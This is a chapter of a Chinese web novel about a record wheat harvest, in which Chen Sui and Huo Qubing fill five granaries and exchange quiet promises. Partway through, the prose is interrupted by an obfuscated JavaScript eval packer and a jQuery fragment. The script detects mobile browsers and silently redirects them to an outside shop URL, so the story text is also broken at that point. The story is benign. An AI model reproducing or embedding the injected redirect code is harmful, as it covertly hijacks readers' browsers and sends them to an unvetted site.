入秋。五百亩麦田同时成熟。
陈穗站在地头看着面前那片铺到天际线的金色，站了很久没有动。风一吹，整片五百亩麦田就涌起来，从她脚边一直涌到远处的矮坡脚下。穗头全黄透了、全弯了，风过的时候金黄色的穗子互相碰撞发出细碎的声响，干燥而温暖。她蹲下去掐了一株最近的麦穗，搓了搓，粒从壳里滚出来落在掌心里——饱满、金黄、坚实，放在牙尖咬了一下，硬得震牙。她把那几粒麦子放回布袋里收好，站起来转身。
木棍老兵已经带着人等在田埂边了。镰刀分下去了，每人一把，刃口全磨过一遍，在日光下泛着一排细碎的亮光。霍去病站在队伍最前面，这次没有穿甲，一身深褐色的单衣，袖口卷到肘弯，手里攥着一把新磨的镰刀。他的左臂比之前利索了不少，握镰刀的姿势也像模像样了。陈穗看了他一眼，然后开口对所有人说：“五百亩。三天之内割完。分五组，每组一百亩，轮换歇息。”她弯腰握住第一把麦秆，镰刀斜切下去，脆响一声，第一把麦穗倒在她臂弯里，“割。”
五百亩同时开镰的场面比以往任何一年都壮观。人分散在田野各处，镰刀的闪光此起彼伏，麦浪从边缘开始一片片地倒伏，像一匹巨大的金色布料被人从四周同时裁剪。陈穗割在最前面那一组的最前面，速度比去年快了不少——这两年她弯腰的姿势已经形成肌肉记忆了，镰刀入手的角度、切秆的力度、收捆的速度全部精确得像量过。霍去病在她隔壁那一组，他的动作没有她熟练但很稳，每一镰都切到位，割下来的麦捆码得整整齐齐。两人隔着大约十步的距离各割各的，偶尔直腰歇气的时候目光会撞到一起，然后又各自低下头继续割。
第一天割完了一百八十亩。麦捆堆在空地上形成了两座小山，文吏带着人连夜码放防潮。第二天割了一百九十亩，第三座麦堆起来了。第三天剩下的全部割完，第四座、第五座麦堆紧挨着前几座排开，在营地前面的空地上占了大半个场子。三天下来所有人的腰都直不起来。陈穗把自己那一组最后的麦捆搬到麦堆上码好，退后两步看着面前的五座金山。她已经连续干了三天没歇整晌，额发贴在脸上，袖口被麦芒刮得起了一层毛边，但站姿是直的。
收割完之后的三天是脱粒和晾晒。碾子滚过的声响持续不断地在营地前方响着，金黄色的麦粒从穗壳里剥出来铺在晒场上，一层又一层，在日光底下泛着耀眼的暖色。文吏每天蹲在晒场边上取样称重，算筹拨得噼啪响，到了第四天傍晚他终于站起来的时候腿都蹲麻了，扶着膝盖缓了半天才走到陈穗面前。他手里攥着一卷墨迹未干的竹简，嘴唇哆嗦了好几下才把数字报出来：“五十一万四千斤。”
他说完之后自己先愣住了。五十一万四千斤。去年三百亩收了四万三千斤，今年五百亩收了五十一万四千斤。产量翻了不止十倍。文吏愣在原地又从头核了一遍自己的数字，确认无误之后抬头看着陈穗，那张常年没什么表情的脸上第一次露出了完全不加掩饰的笑。陈穗接过他手里的竹简看了一遍，确认了数字，又确认了各块地的细分数据。然后她把竹简合上还给他，转身朝粮仓的方向走去。
她走到第一间粮仓门口推开门，里面的麻袋堆到了顶。她又走到第二间、第三间、第四间、第五间。五间粮仓全部装满了。她推开第五间粮仓的门时，光线从她身后涌进去照亮了里面整整齐齐码到房梁的麻袋，最上面那排贴着仓顶的木梁，间隙里连半根草秆都塞不进去了。她站在门口看了很久，然后走进去，伸出手指戳了戳最外面那袋麻袋的表面——粗麻布被里面的麦粒撑得发硬发紧，按下去弹不回来。她又戳了两下，确认了每一袋都装得实在压得均匀。
然后她听到身后的门框响了一声，有人站在门口。她转过身。
霍去病站在粮仓门口。光线从他背后照进来在他的轮廓边缘镀了一层暗金色的光，她逆着光看不太清他脸上的表情，但他的站姿是那种她熟悉的、双手垂在身侧、微微偏着头的姿态。他跟了她一路来的，从晒场到粮仓，她开了五扇门他就跟了五扇。她没有问他来干什么，他也没有说自己为什么跟着。她转身看着他的时候，他正看着她身后的粮仓。目光从最下面那排麻袋扫到最上面那排，扫完了整面墙之后收回来落在她身上。她往前走了几步站到了他面前。
“第一年你说‘四百年第一’。”她顿了一下，“现在是第三年了。”
“明年还能更多。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920800|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他站在粮仓门口的光里，日光从他肩头照过来落在她脸上。他说完这句话没有动，她也没有动。两人隔着半步的距离站在装满五百亩粮食的门口，麦粒的干燥气味从她身后的粮仓里涌出来，温和而沉实地弥漫在两人之间。她低下头看了看自己的手——掌心里还攥着一把刚才试种时揉出来的麦粒，金黄饱满的一小捧。她把手掌摊开了给他看。他低头看着她掌心里的麦粒，看了片刻之后伸出手指从她掌心里捻了几粒。他的指腹擦过她的掌心，粗糙的薄茧带着干燥的暖意。那几粒麦粒被他捻走之后放在自己的掌心里，合拢手指握住了，像一个很小的、只有他自己知道的收藏。
她抬头看着他的眼睛：“你还要在这里种多久？”
他站在粮仓门口，日光把他半张脸照得亮堂堂的，另半张隐在门框的阴影里。他回答她的声音从亮和暗的交界处传过来，不高不低地落在两人之间的空气里：“你待多久，我种多久。”
陈穗没有回答。她低下头，把自己掌心里剩下的那些麦粒倒回腰间的布袋里，拍了拍手上的碎壳，然后侧过头看了他一眼。他正站在她旁边半步的位置，右手垂在身侧，掌心合拢着，里面握着那几粒麦粒，像握着一件很小但很重的东西。
两人并肩站在第五间粮仓门口。面前是整座装满五百亩粮食的仓房，背后是正在落下去的夕阳。风吹过来的时候把干燥的麦粒气味从仓房里卷出来绕了两人一圈又散掉了。她开口说话的声音很轻，像在跟粮仓说话：“那明年还翻。后年也翻。”她说完了侧过脸看他。他站在她旁边，夕阳把两个人的影子并排投在粮仓门口的地面上，影子很短但是靠得很近，近到拇指和拇指之间几乎贴在了一起。
“一直翻。”他说。
陈穗低下头，看着地面上那两道几乎贴在一起的影子，嘴角弯了一下。然后她转过身把粮仓的门慢慢合上了，门缝里挤出来最后一缕干燥麦粒的气味，在暮色里慢慢散尽。她站在合好的粮仓门前把门闩插好，然后转过身对他说：“走了。明天晒场还有一批要收。”他说好。两人并排着往回走，日光在两人身后把影子从短拉长，从紧挨着拉成两道平行而靠近的暗色细线，一路铺到晒场边缘才融进暮色里。